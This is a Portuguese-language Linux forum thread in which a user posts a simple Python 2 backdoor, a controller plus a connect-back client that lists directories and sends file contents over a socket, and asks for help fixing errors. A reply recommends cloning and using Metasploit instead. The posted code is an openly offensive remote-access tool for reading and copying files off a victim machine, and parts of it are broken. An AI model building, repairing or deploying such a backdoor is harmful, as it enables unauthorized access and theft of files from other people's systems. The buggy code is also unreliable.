backdoor [RESOLVIDO]

1. backdoor [RESOLVIDO]

Perfil removido
removido

(usa Nenhuma)

Enviado em 26/04/2020 - 23:36h

boa noite a todos!
estava escrevendo um script de um backdoor bem simples, com apenas 3 funções
mas eu não estou conseguindo resolver uns erros!
quando vc entra em uma função, ele continua aberto para outra função mesmo com uma função aberta!
o outro erro está na função cp()
ele ta dando erro!

#!/usr/bin/env python
#-*-coding: utf-8-*-
#server
import socket
host = ""
port = 4422
adr = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(adr)
s.listen(1)
#lista diretorios
def lsd():
x = raw_input("DIR> ")
con.send(x)
msg = con.recv(1024)
print msg
#ler arquivos
def cat():
x = raw_input("FILE> ")
con.send(x)
msg = con.recv(1024)
#copia arquivos
def cp():
x = raw_input("COPY> ")
y = raw_input("NEW> ")
with open(y, "wb") as fl:
con.send(x)
msg = con.recv(4096)
fl.write(str(msg.read()))

print "Esperando conexão..."
con, dd = s.accept()
print "Conexão estabelecida com host ", dd
while True:
cmd = raw_input("CMD> ")
if cmd == "lsd":
lsd()
elif cmd == "cat":
cat()
elif cmd == "cp":
cp()
elif cmd == "bye":
con.send("bye")
exit()
else:
print "???"

s.close()


#!/usr/bin/env python
#-*-coding: utf-8-*-
import socket
import glob
#lista diretorios e arquivos
def lsd():
x = s.recv(1024)
_dir = glob.glob(x)
for out in _dir.readlines():
s.send(out)
#ler arquivos
def cat():
x = s.recv(1024)
with open(x, "rb") as fl:
s.send(fl.read())
#copia arquivos
def cp():
x = s.recv(1024)
with open(x, "rb") as fl:
s.send(str(fl.read()))
#tudo pronto, vamos prosseguir
h = ""
p = 4422
adr = (h, p)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(adr)
while True:
cmd = s.recv(1024)
if cmd == "lsd":
lsd()
elif cmd == "cat":
cat()
elif cmd == "cp":
cp()
else:
s.send("bye")
exit()
s.close()


agradeço a quem ajudar!


  


2. MELHOR RESPOSTA

henrique
Kaliglitcher

(usa Kali)

Enviado em 28/04/2020 - 01:38h

cara não manjo de python2 somente 3 mais como substituto temporario use o msfconsole na minha opnião é interessante saber reaplicar o processo mais o msfconsole demorou anos para ficar como esta mais o mais importante éq vc entenda o processo e consiga reaplicar
use sudo git clone https://github.com/rapid7/metasploit-framework.git e instalar
desculpa ai n ter ajudado sobre o poblema só uma dica

3. Re: backdoor [RESOLVIDO]

Perfil removido
removido

(usa Nenhuma)

Enviado em 30/04/2020 - 20:22h

Resolvi


4. Re: backdoor [RESOLVIDO]

Perfil removido
removido

(usa Nenhuma)

Enviado em 30/04/2020 - 20:25h

Kaliglitcher escreveu:

cara não manjo de python2 somente 3 mais como substituto temporario use o msfconsole na minha opnião é interessante saber reaplicar o processo mais o msfconsole demorou anos para ficar como esta mais o mais importante éq vc entenda o processo e consiga reaplicar
use sudo git clone https://github.com/rapid7/metasploit-framework.git e instalar
desculpa ai n ter ajudado sobre o poblema só uma dica


Mano, obrigado pela dica, mas o fato de eu codar esse backdoor, e que quero desenvolver minhas próprias ferramentas, e não ficar dependendo de ferramentas prontas, mas, obrigado pela dica!


5. Re: backdoor [RESOLVIDO]

henrique
Kaliglitcher

(usa Kali)

Enviado em 01/05/2020 - 22:53h

de boa cara eu só queria te dar uma recomendação mesmo pq eu usaria o metasploit framework por causa da eficacia dele mais se eu n soubesse fazer um em ruby ou em python eu n usaria tambem só n consegui te ajudar com o backdoor em python pq só sei o 3






Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts